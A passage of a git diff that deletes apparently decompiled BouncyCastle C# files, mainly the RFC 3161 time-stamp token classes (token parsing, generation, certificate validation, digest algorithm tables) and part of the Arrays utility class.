Org.BouncyCastle.Asn1.Cms.AttributeTable UnsignedAttributes => tsaSignerInfo.UnsignedAttributes; - - public TimeStampToken(Org.BouncyCastle.Asn1.Cms.ContentInfo contentInfo) - : this(new CmsSignedData(contentInfo)) - { - } - - public TimeStampToken(CmsSignedData signedData) - { - tsToken = signedData; - if (!tsToken.SignedContentType.Equals(PkcsObjectIdentifiers.IdCTTstInfo)) - { - throw new TspValidationException("ContentInfo object not for a time stamp."); - } - ICollection signers = tsToken.GetSignerInfos().GetSigners(); - if (signers.Count != 1) - { - throw new ArgumentException("Time-stamp token signed by " + signers.Count + " signers, but it must contain just the TSA signature."); - } - IEnumerator enumerator = signers.GetEnumerator(); - enumerator.MoveNext(); - tsaSignerInfo = (SignerInformation)enumerator.Current; - try - { - CmsProcessable signedContent = tsToken.SignedContent; - MemoryStream memoryStream = new MemoryStream(); - signedContent.Write(memoryStream); - tstInfo = new TimeStampTokenInfo(TstInfo.GetInstance(Asn1Object.FromByteArray(memoryStream.ToArray()))); - Org.BouncyCastle.Asn1.Cms.Attribute attribute = tsaSignerInfo.SignedAttributes[PkcsObjectIdentifiers.IdAASigningCertificate]; - if (attribute != null) - { - SigningCertificate instance = SigningCertificate.GetInstance(attribute.AttrValues[0]); - certID = new CertID(EssCertID.GetInstance(instance.GetCerts()[0])); - return; - } - attribute = tsaSignerInfo.SignedAttributes[PkcsObjectIdentifiers.IdAASigningCertificateV2]; - if (attribute == null) - { - throw new TspValidationException("no signing certificate attribute found, time stamp invalid."); - } - SigningCertificateV2 instance2 = SigningCertificateV2.GetInstance(attribute.AttrValues[0]); - certID = new CertID(EssCertIDv2.GetInstance(instance2.GetCerts()[0])); - } - catch (CmsException ex) - { - throw new TspException(ex.Message, ex.InnerException); - } - } - - public IX509Store GetCertificates(string type) - { - return tsToken.GetCertificates(type); - } - - public IX509Store GetCrls(string type) - { - return tsToken.GetCrls(type); - } - - public IX509Store GetAttributeCertificates(string type) - { - return tsToken.GetAttributeCertificates(type); - } - - public void Validate(X509Certificate cert) - { - try - { - byte[] b = DigestUtilities.CalculateDigest(certID.GetHashAlgorithmName(), cert.GetEncoded()); - if (!Arrays.ConstantTimeAreEqual(certID.GetCertHash(), b)) - { - throw new TspValidationException("certificate hash does not match certID hash."); - } - if (certID.IssuerSerial != null) - { - if (!certID.IssuerSerial.Serial.Value.Equals(cert.SerialNumber)) - { - throw new TspValidationException("certificate serial number does not match certID for signature."); - } - GeneralName[] names = certID.IssuerSerial.Issuer.GetNames(); - X509Name issuerX509Principal = PrincipalUtilities.GetIssuerX509Principal(cert); - bool flag = false; - for (int i = 0; i != names.Length; i++) - { - if (names[i].TagNo == 4 && X509Name.GetInstance(names[i].Name).Equivalent(issuerX509Principal)) - { - flag = true; - break; - } - } - if (!flag) - { - throw new TspValidationException("certificate name does not match certID for signature. "); - } - } - TspUtil.ValidateCertificate(cert); - cert.CheckValidity(tstInfo.GenTime); - if (!tsaSignerInfo.Verify(cert)) - { - throw new TspValidationException("signature not created by certificate."); - } - } - catch (CmsException ex) - { - if (ex.InnerException != null) - { - throw new TspException(ex.Message, ex.InnerException); - } - throw new TspException("CMS exception: " + ex, ex); - } - catch (CertificateEncodingException ex2) - { - throw new TspException("problem processing certificate: " + ex2, ex2); - } - catch (SecurityUtilityException ex3) - { - throw new TspException("cannot find algorithm: " + ex3.Message, ex3); - } - } - - public CmsSignedData ToCmsSignedData() - { - return tsToken; - } - - public byte[] GetEncoded() - { - return tsToken.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenGenerator.cs deleted file mode 100644 index f7413a4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenGenerator.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Ess; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampTokenGenerator -{ - private int accuracySeconds = -1; - - private int accuracyMillis = -1; - - private int accuracyMicros = -1; - - private bool ordering = false; - - private GeneralName tsa = null; - - private string tsaPolicyOID; - - private AsymmetricKeyParameter key; - - private X509Certificate cert; - - private string digestOID; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr; - - private IX509Store x509Certs; - - private IX509Store x509Crls; - - public TimeStampTokenGenerator(AsymmetricKeyParameter key, X509Certificate cert, string digestOID, string tsaPolicyOID) - : this(key, cert, digestOID, tsaPolicyOID, null, null) - { - } - - public TimeStampTokenGenerator(AsymmetricKeyParameter key, X509Certificate cert, string digestOID, string tsaPolicyOID, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - this.key = key; - this.cert = cert; - this.digestOID = digestOID; - this.tsaPolicyOID = tsaPolicyOID; - this.unsignedAttr = unsignedAttr; - TspUtil.ValidateCertificate(cert); - IDictionary dictionary = ((signedAttr == null) ? Platform.CreateHashtable() : signedAttr.ToDictionary()); - try - { - byte[] hash = DigestUtilities.CalculateDigest("SHA-1", cert.GetEncoded()); - EssCertID essCertID = new EssCertID(hash); - Org.BouncyCastle.Asn1.Cms.Attribute attribute = new Org.BouncyCastle.Asn1.Cms.Attribute(PkcsObjectIdentifiers.IdAASigningCertificate, new DerSet(new SigningCertificate(essCertID))); - dictionary[attribute.AttrType] = attribute; - } - catch (CertificateEncodingException e) - { - throw new TspException("Exception processing certificate.", e); - } - catch (SecurityUtilityException e2) - { - throw new TspException("Can't find a SHA-1 implementation.", e2); - } - this.signedAttr = new Org.BouncyCastle.Asn1.Cms.AttributeTable(dictionary); - } - - public void SetCertificates(IX509Store certificates) - { - x509Certs = certificates; - } - - public void SetCrls(IX509Store crls) - { - x509Crls = crls; - } - - public void SetAccuracySeconds(int accuracySeconds) - { - this.accuracySeconds = accuracySeconds; - } - - public void SetAccuracyMillis(int accuracyMillis) - { - this.accuracyMillis = accuracyMillis; - } - - public void SetAccuracyMicros(int accuracyMicros) - { - this.accuracyMicros = accuracyMicros; - } - - public void SetOrdering(bool ordering) - { - this.ordering = ordering; - } - - public void SetTsa(GeneralName tsa) - { - this.tsa = tsa; - } - - public TimeStampToken Generate(TimeStampRequest request, BigInteger serialNumber, DateTime genTime) - { - DerObjectIdentifier algorithm = new DerObjectIdentifier(request.MessageImprintAlgOid); - AlgorithmIdentifier hashAlgorithm = new AlgorithmIdentifier(algorithm, DerNull.Instance); - MessageImprint messageImprint = new MessageImprint(hashAlgorithm, request.GetMessageImprintDigest()); - Accuracy accuracy = null; - if (accuracySeconds > 0 || accuracyMillis > 0 || accuracyMicros > 0) - { - DerInteger seconds = null; - if (accuracySeconds > 0) - { - seconds = new DerInteger(accuracySeconds); - } - DerInteger millis = null; - if (accuracyMillis > 0) - { - millis = new DerInteger(accuracyMillis); - } - DerInteger micros = null; - if (accuracyMicros > 0) - { - micros = new DerInteger(accuracyMicros); - } - accuracy = new Accuracy(seconds, millis, micros); - } - DerBoolean derBoolean = null; - if (ordering) - { - derBoolean = DerBoolean.GetInstance(ordering); - } - DerInteger nonce = null; - if (request.Nonce != null) - { - nonce = new DerInteger(request.Nonce); - } - DerObjectIdentifier tsaPolicyId = new DerObjectIdentifier(tsaPolicyOID); - if (request.ReqPolicy != null) - { - tsaPolicyId = new DerObjectIdentifier(request.ReqPolicy); - } - TstInfo tstInfo = new TstInfo(tsaPolicyId, messageImprint, new DerInteger(serialNumber), new DerGeneralizedTime(genTime), accuracy, derBoolean, nonce, tsa, request.Extensions); - try - { - CmsSignedDataGenerator cmsSignedDataGenerator = new CmsSignedDataGenerator(); - byte[] derEncoded = tstInfo.GetDerEncoded(); - if (request.CertReq) - { - cmsSignedDataGenerator.AddCertificates(x509Certs); - } - cmsSignedDataGenerator.AddCrls(x509Crls); - cmsSignedDataGenerator.AddSigner(key, cert, digestOID, signedAttr, unsignedAttr); - CmsSignedData signedData = cmsSignedDataGenerator.Generate(PkcsObjectIdentifiers.IdCTTstInfo.Id, new CmsProcessableByteArray(derEncoded), encapsulate: true); - return new TimeStampToken(signedData); - } - catch (CmsException e) - { - throw new TspException("Error generating time-stamp token", e); - } - catch (IOException e2) - { - throw new TspException("Exception encoding info", e2); - } - catch (X509StoreException e3) - { - throw new TspException("Exception handling CertStore", e3); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenInfo.cs deleted file mode 100644 index a7a2753..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TimeStampTokenInfo.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Tsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Tsp; - -public class TimeStampTokenInfo -{ - private TstInfo tstInfo; - - private DateTime genTime; - - public bool IsOrdered => tstInfo.Ordering.IsTrue; - - public Accuracy Accuracy => tstInfo.Accuracy; - - public DateTime GenTime => genTime; - - public GenTimeAccuracy GenTimeAccuracy - { - get - { - if (Accuracy != null) - { - return new GenTimeAccuracy(Accuracy); - } - return null; - } - } - - public string Policy => tstInfo.Policy.Id; - - public BigInteger SerialNumber => tstInfo.SerialNumber.Value; - - public GeneralName Tsa => tstInfo.Tsa; - - public BigInteger Nonce - { - get - { - if (tstInfo.Nonce != null) - { - return tstInfo.Nonce.Value; - } - return null; - } - } - - public AlgorithmIdentifier HashAlgorithm => tstInfo.MessageImprint.HashAlgorithm; - - public string MessageImprintAlgOid => tstInfo.MessageImprint.HashAlgorithm.Algorithm.Id; - - public TstInfo TstInfo => tstInfo; - - public TimeStampTokenInfo(TstInfo tstInfo) - { - this.tstInfo = tstInfo; - try - { - genTime = tstInfo.GenTime.ToDateTime(); - } - catch (Exception ex) - { - throw new TspException("unable to parse genTime field: " + ex.Message); - } - } - - public byte[] GetMessageImprintDigest() - { - return tstInfo.MessageImprint.GetHashedMessage(); - } - - public byte[] GetEncoded() - { - return tstInfo.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspAlgorithms.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspAlgorithms.cs deleted file mode 100644 index 4805031..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspAlgorithms.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Tsp; - -public abstract class TspAlgorithms -{ - public static readonly string MD5; - - public static readonly string Sha1; - - public static readonly string Sha224; - - public static readonly string Sha256; - - public static readonly string Sha384; - - public static readonly string Sha512; - - public static readonly string RipeMD128; - - public static readonly string RipeMD160; - - public static readonly string RipeMD256; - - public static readonly string Gost3411; - - public static readonly string Gost3411_2012_256; - - public static readonly string Gost3411_2012_512; - - public static readonly string SM3; - - public static readonly IList Allowed; - - static TspAlgorithms() - { - MD5 = PkcsObjectIdentifiers.MD5.Id; - Sha1 = OiwObjectIdentifiers.IdSha1.Id; - Sha224 = NistObjectIdentifiers.IdSha224.Id; - Sha256 = NistObjectIdentifiers.IdSha256.Id; - Sha384 = NistObjectIdentifiers.IdSha384.Id; - Sha512 = NistObjectIdentifiers.IdSha512.Id; - RipeMD128 = TeleTrusTObjectIdentifiers.RipeMD128.Id; - RipeMD160 = TeleTrusTObjectIdentifiers.RipeMD160.Id; - RipeMD256 = TeleTrusTObjectIdentifiers.RipeMD256.Id; - Gost3411 = CryptoProObjectIdentifiers.GostR3411.Id; - Gost3411_2012_256 = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id; - Gost3411_2012_512 = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id; - SM3 = GMObjectIdentifiers.sm3.Id; - string[] array = new string[13] - { - Gost3411, Gost3411_2012_256, Gost3411_2012_512, MD5, RipeMD128, RipeMD160, RipeMD256, Sha1, Sha224, Sha256, - Sha384, Sha512, SM3 - }; - Allowed = Platform.CreateArrayList(); - string[] array2 = array; - foreach (string value in array2) - { - Allowed.Add(value); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspException.cs deleted file mode 100644 index 8cbf0d2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Tsp; - -[Serializable] -public class TspException : Exception -{ - public TspException() - { - } - - public TspException(string message) - : base(message) - { - } - - public TspException(string message, Exception e) - : base(message, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspUtil.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspUtil.cs deleted file mode 100644 index 3827a5f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspUtil.cs +++ /dev/null @@ -1,192 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.GM; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Tsp; - -public class TspUtil -{ - private static ISet EmptySet; - - private static IList EmptyList; - - private static readonly IDictionary digestLengths; - - private static readonly IDictionary digestNames; - - static TspUtil() - { - EmptySet = CollectionUtilities.ReadOnly(new HashSet()); - EmptyList = CollectionUtilities.ReadOnly(Platform.CreateArrayList()); - digestLengths = Platform.CreateHashtable(); - digestNames = Platform.CreateHashtable(); - digestLengths.Add(PkcsObjectIdentifiers.MD5.Id, 16); - digestLengths.Add(OiwObjectIdentifiers.IdSha1.Id, 20); - digestLengths.Add(NistObjectIdentifiers.IdSha224.Id, 28); - digestLengths.Add(NistObjectIdentifiers.IdSha256.Id, 32); - digestLengths.Add(NistObjectIdentifiers.IdSha384.Id, 48); - digestLengths.Add(NistObjectIdentifiers.IdSha512.Id, 64); - digestLengths.Add(TeleTrusTObjectIdentifiers.RipeMD128.Id, 16); - digestLengths.Add(TeleTrusTObjectIdentifiers.RipeMD160.Id, 20); - digestLengths.Add(TeleTrusTObjectIdentifiers.RipeMD256.Id, 32); - digestLengths.Add(CryptoProObjectIdentifiers.GostR3411.Id, 32); - digestLengths.Add(RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id, 32); - digestLengths.Add(RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id, 64); - digestLengths.Add(GMObjectIdentifiers.sm3.Id, 32); - digestNames.Add(PkcsObjectIdentifiers.MD5.Id, "MD5"); - digestNames.Add(OiwObjectIdentifiers.IdSha1.Id, "SHA1"); - digestNames.Add(NistObjectIdentifiers.IdSha224.Id, "SHA224"); - digestNames.Add(NistObjectIdentifiers.IdSha256.Id, "SHA256"); - digestNames.Add(NistObjectIdentifiers.IdSha384.Id, "SHA384"); - digestNames.Add(NistObjectIdentifiers.IdSha512.Id, "SHA512"); - digestNames.Add(PkcsObjectIdentifiers.MD5WithRsaEncryption.Id, "MD5"); - digestNames.Add(PkcsObjectIdentifiers.Sha1WithRsaEncryption.Id, "SHA1"); - digestNames.Add(PkcsObjectIdentifiers.Sha224WithRsaEncryption.Id, "SHA224"); - digestNames.Add(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, "SHA256"); - digestNames.Add(PkcsObjectIdentifiers.Sha384WithRsaEncryption.Id, "SHA384"); - digestNames.Add(PkcsObjectIdentifiers.Sha512WithRsaEncryption.Id, "SHA512"); - digestNames.Add(TeleTrusTObjectIdentifiers.RipeMD128.Id, "RIPEMD128"); - digestNames.Add(TeleTrusTObjectIdentifiers.RipeMD160.Id, "RIPEMD160"); - digestNames.Add(TeleTrusTObjectIdentifiers.RipeMD256.Id, "RIPEMD256"); - digestNames.Add(CryptoProObjectIdentifiers.GostR3411.Id, "GOST3411"); - digestNames.Add(OiwObjectIdentifiers.DsaWithSha1.Id, "SHA1"); - digestNames.Add(OiwObjectIdentifiers.Sha1WithRsa.Id, "SHA1"); - digestNames.Add(OiwObjectIdentifiers.MD5WithRsa.Id, "MD5"); - digestNames.Add(RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256.Id, "GOST3411-2012-256"); - digestNames.Add(RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512.Id, "GOST3411-2012-512"); - digestNames.Add(GMObjectIdentifiers.sm3.Id, "SM3"); - } - - public static ICollection GetSignatureTimestamps(SignerInformation signerInfo) - { - IList list = Platform.CreateArrayList(); - Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes = signerInfo.UnsignedAttributes; - if (unsignedAttributes != null) - { - foreach (Org.BouncyCastle.Asn1.Cms.Attribute item in unsignedAttributes.GetAll(PkcsObjectIdentifiers.IdAASignatureTimeStampToken)) - { - foreach (Asn1Encodable attrValue in item.AttrValues) - { - try - { - Org.BouncyCastle.Asn1.Cms.ContentInfo instance = Org.BouncyCastle.Asn1.Cms.ContentInfo.GetInstance(attrValue.ToAsn1Object()); - TimeStampToken timeStampToken = new TimeStampToken(instance); - TimeStampTokenInfo timeStampInfo = timeStampToken.TimeStampInfo; - byte[] a = DigestUtilities.CalculateDigest(GetDigestAlgName(timeStampInfo.MessageImprintAlgOid), signerInfo.GetSignature()); - if (!Arrays.ConstantTimeAreEqual(a, timeStampInfo.GetMessageImprintDigest())) - { - throw new TspValidationException("Incorrect digest in message imprint"); - } - list.Add(timeStampToken); - } - catch (SecurityUtilityException) - { - throw new TspValidationException("Unknown hash algorithm specified in timestamp"); - } - catch (Exception) - { - throw new TspValidationException("Timestamp could not be parsed"); - } - } - } - } - return list; - } - - public static void ValidateCertificate(X509Certificate cert) - { - if (cert.Version != 3) - { - throw new ArgumentException("Certificate must have an ExtendedKeyUsage extension."); - } - Asn1OctetString extensionValue = cert.GetExtensionValue(X509Extensions.ExtendedKeyUsage); - if (extensionValue == null) - { - throw new TspValidationException("Certificate must have an ExtendedKeyUsage extension."); - } - if (!cert.GetCriticalExtensionOids().Contains(X509Extensions.ExtendedKeyUsage.Id)) - { - throw new TspValidationException("Certificate must have an ExtendedKeyUsage extension marked as critical."); - } - try - { - ExtendedKeyUsage instance = ExtendedKeyUsage.GetInstance(Asn1Object.FromByteArray(extensionValue.GetOctets())); - if (!instance.HasKeyPurposeId(KeyPurposeID.IdKPTimeStamping) || instance.Count != 1) - { - throw new TspValidationException("ExtendedKeyUsage not solely time stamping."); - } - } - catch (IOException) - { - throw new TspValidationException("cannot process ExtendedKeyUsage extension"); - } - } - - internal static string GetDigestAlgName(string digestAlgOID) - { - string text = (string)digestNames[digestAlgOID]; - if (text == null) - { - return digestAlgOID; - } - return text; - } - - internal static int GetDigestLength(string digestAlgOID) - { - if (!digestLengths.Contains(digestAlgOID)) - { - throw new TspException("digest algorithm cannot be found."); - } - return (int)digestLengths[digestAlgOID]; - } - - internal static IDigest CreateDigestInstance(string digestAlgOID) - { - string digestAlgName = GetDigestAlgName(digestAlgOID); - return DigestUtilities.GetDigest(digestAlgName); - } - - internal static ISet GetCriticalExtensionOids(X509Extensions extensions) - { - if (extensions == null) - { - return EmptySet; - } - return CollectionUtilities.ReadOnly(new HashSet(extensions.GetCriticalExtensionOids())); - } - - internal static ISet GetNonCriticalExtensionOids(X509Extensions extensions) - { - if (extensions == null) - { - return EmptySet; - } - return CollectionUtilities.ReadOnly(new HashSet(extensions.GetNonCriticalExtensionOids())); - } - - internal static IList GetExtensionOids(X509Extensions extensions) - { - if (extensions == null) - { - return EmptyList; - } - return CollectionUtilities.ReadOnly(Platform.CreateArrayList(extensions.GetExtensionOids())); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspValidationException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspValidationException.cs deleted file mode 100644 index 651e2cb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Tsp/TspValidationException.cs +++ /dev/null @@ -1,23 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Tsp; - -[Serializable] -public class TspValidationException : TspException -{ - private int failureCode; - - public int FailureCode => failureCode; - - public TspValidationException(string message) - : base(message) - { - failureCode = -1; - } - - public TspValidationException(string message, int failureCode) - : base(message) - { - this.failureCode = failureCode; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Arrays.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Arrays.cs deleted file mode 100644 index b0b1027..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Arrays.cs +++ /dev/null @@ -1,724 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Utilities; - -public abstract class Arrays -{ - public static readonly byte[] EmptyBytes = new byte[0]; - - public static readonly int[] EmptyInts = new int[0]; - - public static bool AreAllZeroes(byte[] buf, int off, int len) - { - uint num = 0u; - for (int i = 0; i < len; i++) - { - num |= buf[off + i]; - } - return num == 0; - } - - public static bool AreEqual(bool[] a, bool[] b) - { - if (a == b) - { - return true; - } - if (a == null || b == null) - { - return false; - } - return HaveSameContents(a, b); - } - - public static bool AreEqual(char[] a, char[] b) - { - if (a == b) - { - return true; - } - if (a == null || b == null) - { - return false; - } - return HaveSameContents(a, b); - } - - public static bool AreEqual(byte[] a, byte[] b) - { - if (a == b) - { - return true; - } - if (a == null || b == null) - { - return false; - } - return HaveSameContents(a, b); - } - - [Obsolete("Use 'AreEqual' method instead")] - public static bool AreSame(byte[] a, byte[] b) - { - return AreEqual(a, b); - } - - public static bool ConstantTimeAreEqual(byte[] a, byte[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - int num2 = 0; - while (num != 0) - { - num--; - num2 |= a[num] ^ b[num]; - } - return num2 == 0; - } - - public static bool AreEqual(int[] a, int[] b) - { - if (a == b) - { - return true; - } - if (a == null || b == null) - { - return false; - } - return HaveSameContents(a, b); - } - - [CLSCompliant(false)] - public static bool AreEqual(uint[] a, uint[] b) - { - if (a == b) - { - return true; - } - if (a == null || b == null) - { - return false; - } - return HaveSameContents(a, b); - } - - private static bool HaveSameContents(bool[] a, bool[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - while (num != 0) - { - num--; - if (a[num] != b[num]) - { - return false; - } - } - return true; - } - - private static bool HaveSameContents(char[] a, char[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - while (num != 0) - { - num--; - if (a[num] != b[num]) - { - return false; - } - } - return true; - } - - private static bool HaveSameContents(byte[] a, byte[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - while (num != 0) - { - num--; - if (a[num] != b[num]) - { - return false; - } - } - return true; - } - - private static bool HaveSameContents(int[] a, int[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - while (num != 0) - { - num--; - if (a[num] != b[num]) - { - return false; - } - } - return true; - } - - private static bool HaveSameContents(uint[] a, uint[] b) - { - int num = a.Length; - if (num != b.Length) - { - return false; - } - while (num != 0) - { - num--; - if (a[num] != b[num]) - { - return false; - } - } - return true; - } - - public static string ToString(object[] a) - { - StringBuilder stringBuilder = new StringBuilder(91); - if (a.Length > 0) - { - stringBuilder.Append(a[0]); - for (int i = 1; i < a.Length; i++) - { - stringBuilder.Append(", ").Append(a[i]); - } - } - stringBuilder.Append(']'); - return stringBuilder.ToString(); - } - - public static int GetHashCode(byte[] data) - { - if (data == null) - { - return 0; - } - int num = data.Length; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= data[num]; - } - return num2; - } - - public static int GetHashCode(byte[] data, int off, int len) - { - if (data == null) - { - return 0; - } - int num = len; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= data[off + num]; - } - return num2; - } - - public static int GetHashCode(int[] data) - { - if (data == null) - { - return 0; - } - int num = data.Length; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= data[num]; - } - return num2; - } - - public static int GetHashCode(int[] data, int off, int len) - { - if (data == null) - { - return 0; - } - int num = len; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= data[off + num]; - } - return num2; - } - - [CLSCompliant(false)] - public static int GetHashCode(uint[] data) - { - if (data == null) - { - return 0; - } - int num = data.Length; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= (int)data[num]; - } - return num2; - } - - [CLSCompliant(false)] - public static int GetHashCode(uint[] data, int off, int len) - { - if (data == null) - { - return 0; - } - int num = len; - int num2 = num + 1; - while (--num >= 0) - { - num2 *= 257; - num2 ^= (int)data[off + num]; - } - return num2; - } - - [CLSCompliant(false)] - public static int GetHashCode(ulong[] data) - { - if (data == null) - { - return 0; - } - int num = data.Length; - int num2 = num + 1; - while (--num >= 0) - { - ulong num3 = data[num]; - num2 *= 257; - num2 ^= (int)num3; - num2 *= 257; - num2 ^= (int)(num3 >> 32); - } - return num2; - } - - [CLSCompliant(false)] - public static int GetHashCode(ulong[] data, int off, int len) - { - if (data == null) - { - return 0; - } - int num = len; - int num2 = num + 1; - while (--num >= 0) - { - ulong num3 = data[off + num]; - num2 *= 257; - num2 ^= (int)num3; - num2 *= 257; - num2 ^= (int)(num3 >> 32); - } - return num2; - } - - public static byte[] Clone(byte[] data) - { - if (data != null) - { - return (byte[])data.Clone(); - } - return null; - } - - public static byte[] Clone(byte[] data, byte[] existing) - { - if (data == null) - { - return null; - } - if (existing == null || existing.Length != data.Length) - { - return Clone(data); - } - Array.Copy(data, 0, existing, 0, existing.Length); - return existing; - } - - public static int[] Clone(int[] data) - { - if (data != null) - { - return (int[])data.Clone(); - } - return null; - } - - internal static uint[] Clone(uint[] data) - { - if (data != null) - { - return (uint[])data.Clone(); - } - return null; - } - - public static long[] Clone(long[] data) - { - if (data != null) - { - return (long[])data.Clone(); - } - return null; - } - - [CLSCompliant(false)] - public static ulong[] Clone(ulong[] data) - { - if (data != null) - { - return (ulong[])data.Clone(); - } - return null; - } - - [CLSCompliant(false)] - public static ulong[] Clone(ulong[] data, ulong[] existing) - { - if (data == null) - { - return null; - } - if (existing == null || existing.Length != data.Length) - { - return Clone(data); - } - Array.Copy(data, 0, existing, 0, existing.Length); - return existing; - } - - public static bool Contains(byte[] a, byte n) - { - for (int i = 0; i < a.Length; i++) - { - if (a[i] == n) - { - return true; - } - } - return false; - } - - public static bool Contains(short[] a, short n) - { - for (int i = 0; i < a.Length; i++) - { - if (a[i] == n) - { - return true; - } - } - return false; - } - - public static bool Contains(int[] a, int n) - { - for (int i = 0; i < a.Length; i++) - { - if (a[i] == n) - { - return true; - } - } - return false; - } - - public static void Fill(byte[] buf, byte b) - { - int num = buf.Length; - while (num > 0) - { - buf[--num] = b; - } - } - - public static void Fill(byte[] buf, int from, int to, byte b) - { - for (int i = from; i < to; i++) - { - buf[i] = b; - } - } - - public static byte[] CopyOf(byte[] data, int newLength) - { - byte[] array = new byte[newLength]; - Array.Copy(data, 0, array, 0, System.Math.Min(newLength, data.Length)); - return array; - } - - public static char[] CopyOf(char[] data, int newLength) - { - char[] array = new char[newLength]; - Array.Copy(data, 0, array, 0, System.Math.Min(newLength, data.Length)); - return array; - } - - public static int[] CopyOf(int[] data, int newLength) - { - int[] array = new int[newLength]; - Array.Copy(data, 0, array, 0, System.Math.Min(newLength, data.Length)); - return array; - } - - public static long[] CopyOf(long[] data, int newLength) - { - long[] array = new long[newLength]; - Array.Copy(data, 0, array, 0, System.Math.Min(newLength, data.Length)); - return array; - } - - public static BigInteger[] CopyOf(BigInteger[] data, int newLength) - { - BigInteger[] array = new BigInteger[newLength]; - Array.Copy(data, 0, array, 0, System.Math.Min(newLength, data.Length)); - return array; - } - - public static byte[] CopyOfRange(byte[] data, int from, int to) - { - int length = GetLength(from, to); - byte[] array = new byte[length]; - Array.Copy(data, from, array, 0, System.Math.Min(length, data.Length - from)); - return array; - 